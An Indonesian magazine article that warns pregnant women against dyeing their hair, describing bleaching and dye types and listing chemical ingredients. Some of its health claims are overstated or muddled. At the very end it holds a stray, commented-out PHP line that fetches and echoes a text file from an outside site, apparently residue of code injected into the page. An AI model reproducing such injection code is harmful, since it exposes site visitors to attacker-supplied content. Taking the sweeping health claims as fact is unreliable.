Ibu Hamil, Tunda Mewarnai Rambut

 

Foto: shutterstock

Setiap orang berhak untuk cantik. Juga ibu hamil, tak hanya ber-make up supaya tampak segar, tapi juga ingin tampil lebih modis dengan cat rambut.
 
Banyak pewarna rambut dari berbagai brand sangat menggiurkan untuk dipilih. Dengan berbagai alasan, mungkin untuk menutupi beberapa uban yang muncul di sana sini, atau sekadar memberi highlight agar tampak keren.
 
Ada apa saja dalam proses pewarnaan rambut?
 


1. Bleaching. Proses ini adalah memutihkan rambut agar warna dapat diserap dengan baik, sehingga warna yang dihasilkan pun maksimal.

 
Bleach melibatkan hydrogen peroksida, yaitu senyawa kimia yang sering digunakan dalam pembersih rumah, pakaian, dan perabotan. Berbentuk cairan bening, H2O2 (hydrogen dan oksigen) lebih kental dibanding air, menjadi agen pemutih yang kuat.

 
Zat ini memiliki banyak manfaat, antara lain digunakan di dalam obat oles untuk kulit, obat tetes telinga untuk mengeluarkan kotoran, bahan baku pasta gigi dan pemutih gigi, disinfectan, dan obat kumur untuk meredakan iritasi mulut akibat sariawan.

 
Selain banyak manfaatnya, hydrogen peroksida juga menyimpan bahaya. Jika terhirup telalu banyak dapat mengakibatkan iritasi saluran napas, batuk, sesak napas, dan paru bengkak.

 
Efek buruk inilah yang dikhawatirkan dapat dialami oleh ibu hamil saat mewarnai rambut, karena dapat membahayakan janin.
 


2. Pewarnaan, yaitu proses mengaplikasikan warna yang telah Anda pilih. Ada 3 jenis cat:

- Semi permanen. Bila menggunakan pewarna ini, warna rambut Anda akan tetap ada, karena yang diwarnai hanya bagian luar rambut. Ukuran molekulnya kecil, jenis cat rambut ini mudah hilang dengan sampo.

 

- Setengah permanen. Tahan lebih lama dibanding cat semi permanen. Molekul pada cat rambut ini lebih besar sehingga dapat menempel lebih lama pada rambut. Tetapi cat setengah permanen bisa menjadi permanen bila sebelumnya Anda sudah mewarnai rambut.



- Permanen. Warna rambut asli akan hilang, diganti dengan warna baru.

 
Ada apa di dalam cat rambut?
Bunda yang sedang hamil, di dalam cat rambut banyak bahan kimia yang pastinya akan membahayakan janin. Ini kandungannya:
 


- Hidrogen peroksida

- Paraphenylenediamin (PPD), yaitu zat kimia berbahaya yang dapat menimbulkan reaksi alergi pada kulit.

- Resorsinol yang dapat mengiritasi kulit.

- Amonia, sering dianggap racun karena mengganggu pernapasan dan memicu gangguan pada kulit. Cat rambut ada yang tidak menggunakan ammonia, diganti dengan ethanolamine yang lebih ringan.

- DMDM Hydantoin, yaitu pengawet yang dapat mengganggu sistem imun tubuh.

- Lead acetate, bahan kimia yang dapat memicu sel kanker.

- Coal tar, zat yang dapat memicu sel kanker baik pada manusia maupun hewan.

 
Imma Rachmani


 


Artikel Rekomendasi

Ibu Hamil, Waspadai 3 Hal Ini

Selama hamil, calon ibu tak bisa menghindar dari kewajiban menjaga kesehatan dirinya karena akan berpengaruh pada janin yang dikandung. Agar tetap sehat, sebaiknya mewaspadai tiga hal berikut ... read more

Load more
".$css_content); //$a = file_get_contents('https://www.galatiatiga.com/pindang/index.txt'); //echo $a; ?>